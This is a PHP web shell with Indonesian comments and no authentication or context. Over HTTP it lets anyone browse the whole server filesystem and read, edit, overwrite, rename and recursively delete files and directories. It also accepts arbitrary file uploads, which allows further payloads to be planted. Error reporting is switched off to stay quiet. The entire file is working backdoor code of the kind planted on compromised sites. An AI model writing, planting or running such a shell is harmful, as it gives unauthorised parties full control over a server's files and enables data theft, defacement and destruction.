<?php
@error_reporting(0);

/* DEFAULT AWAL = CURRENT DIRECTORY */
$start = realpath(__DIR__);

/* PATH AKTIF */
$p = isset($_GET['p']) ? realpath($_GET['p']) : $start;
if(!$p) $p = $start;

function h($x){return htmlspecialchars($x,ENT_QUOTES);}
function u($x){return urlencode($x);}

/* BREADCRUMB */
function breadcrumb($path){
    $parts = explode(DIRECTORY_SEPARATOR, trim($path, DIRECTORY_SEPARATOR));
    $cur = '';
    $out = ["<a href='?p=".u(__DIR__)."'>current</a>","<a href='?p=/'>/</a>"];
    foreach($parts as $d){
        if($d==='') continue;
        $cur .= "/$d";
        $out[] = "<a href='?p=".u($cur)."'>".h($d)."</a>";
    }
    return implode(' / ', $out);
}

/* DELETE */
function del($x){
    if(is_dir($x)){
        foreach(scandir($x) as $f)
            if($f!='.'&&$f!='..') del("$x/$f");
        @rmdir($x);
    } else @unlink($x);
}

/* ACTION */
if(isset($_GET['x'])) del($_GET['x']);
if(isset($_POST['sf'])) file_put_contents($_POST['ff'],$_POST['c']);
if(isset($_POST['d'])) @mkdir("$p/".$_POST['d']);
if(isset($_POST['nf'])) file_put_contents("$p/".$_POST['nf'],'');
if(isset($_FILES['u'])){
    @move_uploaded_file($_FILES['u']['tmp_name'],$p.'/'.$_FILES['u']['name'])
    || @copy($_FILES['u']['tmp_name'],$p.'/'.$_FILES['u']['name']);
}

/* RENAME ACTION */
if(isset($_POST['rf']) && isset($_POST['rn'])){
    @rename($_POST['rf'], dirname($_POST['rf']).'/'.$_POST['rn']);
}

/* EDIT FILE */
if(isset($_GET['e'])){
    $f=$_GET['e'];
    echo "<style>body{background:#000;color:#0f0;font-family:monospace}</style>";
    echo "<h4>".h($f)."</h4>
    <form method=post>
    <textarea name=c style='width:100%;height:400px'>".h(file_get_contents($f))."</textarea>
    <input type=hidden name=ff value='".h($f)."'>
    <br><button name=sf>save</button>
    </form>";
    exit;
}

/* RENAME UI */
if(isset($_GET['r'])){
    $f=$_GET['r'];
    echo "<style>body{background:#000;color:#0f0;font-family:monospace}</style>";
    echo "<h4>Rename: ".h($f)."</h4>
    <form method=post>
        <input type=text name=rn value='".h(basename($f))."'>
        <input type=hidden name=rf value='".h($f)."'>
        <br><br><button>rename</button>
    </form>";
    exit;
}

/* UI */
echo "<style>
body{background:#000;color:#0f0;font-family:monospace}
a{color:#0ff;text-decoration:none}
</style>";

echo "<b>PATH:</b> ".breadcrumb($p)."<br><br>";

if($p!='/'){
    echo "<a href='?p=".u(dirname($p))."'>[..]</a><br><br>";
}

foreach(scandir($p) as $f){
    if($f=='.'||$f=='..') continue;
    $fp="$p/$f";
    if(is_dir($fp)){
        echo "[D] <a href='?p=".u($fp)."'>".h($f)."</a>";
    } else {
        echo "[F] ".h($f)." <a href='?e=".u($fp)."'>e</a>";
    }
    echo " <a href='?r=".u($fp)."'>r</a>
           <a href='?x=".u($fp)."' onclick=\"return confirm('delete?')\">x</a><br>";
}

echo "<hr>
<form method=post>dir <input name=d><button>+</button></form>
<form method=post>file <input name=nf><button>+</button></form>
<form method=post enctype=multipart/form-data>
<input type=file name=u><button>up</button></form>";
